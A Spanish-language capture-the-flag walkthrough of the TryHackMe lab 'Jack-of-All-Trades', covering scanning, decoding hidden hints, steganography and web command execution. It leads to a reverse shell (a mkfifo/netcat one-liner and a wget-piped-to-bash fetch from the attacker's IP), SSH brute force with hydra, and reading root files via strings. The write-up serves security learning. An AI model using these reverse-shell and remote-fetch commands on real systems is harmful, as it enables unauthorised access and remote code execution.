This page looks best with JavaScript enabled

TryHackMe - Jack-of-All-Trades

 ·  ☕ 4 min read  ·  ✍️ sckull

Jack-of-All-Trades es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo Jack-of-All-Trades
Info Boot-to-root originally designed for Securi-Tay 2020
Puntos 400
Dificultad Media
Maker MuirlandOracle

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ssh (80) y el puerto http (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.80 scan initiated Wed Apr  8 17:56:03 2020 as: nmap -sV -sC -o nmap_scan 10.10.111.123
Nmap scan report for 10.10.111.123
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Jack-of-all-trades!
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
|   2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
|   256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_  256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  8 17:57:19 2020 -- 1 IP address (1 host up) scanned in 76.06 seconds
drawing

HTTP

Al visitar el puerto 80 nos muestra un error nuestro navegador.
image

La IP esta activa, solo el puerto en el que esta corriendo Apache es el 22 y no el 80, se puede configurar el puerto en firefox dentro de about:config creando un string de configuracion.

image

Ahora si podemos visitar la pagina y nos muestra lo siguiente.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
root@upset:~/thm/jack-of-All-Trades# gobuster dir -u http://10.10.111.123:22/ -w /usr/share/wordlists/dirb/common.txt -t 25 -x php,html,txt -q
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.hta.html (Status: 403)
/assets (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/recovery.php (Status: 200)
/server-status (Status: 403)
root@upset:~/thm/jack-of-All-Trades#

En el index de la pagina encontramos varias cosas interesantes en el codigo fuente.
image

Vemos un comentario que al decodificarlo en base64 nos muestra un mensaje.
image

Nos dirigimos a /recovery.php e intentamos utilizar la contraseña con Johny Grave y combinacion del nombre pero no nos deja ingresar.
image

Vemos en el codigo fuente una string codificada.

GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=

Utilizamos base32 y hex para decodificar la cadena, lo cual nos devuelve una nueva cadena cifrada, esta vez al parecer es Caesar Cipher.
image

dcode.fr tiene una herramienta muy util que nos ayudó a decifrar el mensaje, CAesar Cipher.
image

El link que nos menciona el mensaje nos redirige a una pagina de wikipedia con el nombre de Stegosauria, si recordamos en el index hay una imagen con un nombre parecido. Intentamos con steganografia en la imagen utilizando steghide.

image

Obtenemos un archivo que nos indica que vamos por buen camino pero la imagen no es la correcta. Hacemos lo mismo con las otras dos imagenes del index, y obtuvimos un archivo con credenciales en la imagen header.jpg.

image

Ingresamos al panel de /recovery.php y vemos un mensaje.
image

Le pasamos un comando al parametro cmd y logramos ejecutar el comando.
image

Ahora que podemos ejecutar comandos, utilizamos esta ventaja para obtener una shell inversa, primero creamos un archivo el que contenga nuestro comando para nuestra shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.72 1338 >/tmp/f

Creamos un pequeño servidor http con python3 python3 -m http.server 80. Ejecutamos el siguiente comando para obtener nuestra shell.

bash -c  "$(wget -qO- 10.8.1.72/shell.sh)" 

Y ponemos a la escucha netcat en nuestra maquina rlwrap nc -lvp 1338 y obtenemos nuestra shell.
image

USER - JACK

Dentro del directorio /home encontramos una lista de posibles contraseñas que parecen ser del usuario jack.
image

Utilizamos hydra con la lista de posibles contraseñas en el servicio SSH utilizando el puerto 80, logramos encontrar la contraseña.
image

Utilizamos ssh y obtenemos una shell.
image

Vemos una imagen, la pasamos a nuestra maquina con netcat, abrimos la imagen y vemos nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Enumeramos los binarios que puedan ayudar a obtener una shell con privilegios root, encontramos strings con el cual podemos leer archivos.
image

Utilizamos strings para obtener nuestra flag /root/root.txt.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: Jack-of-All-Trades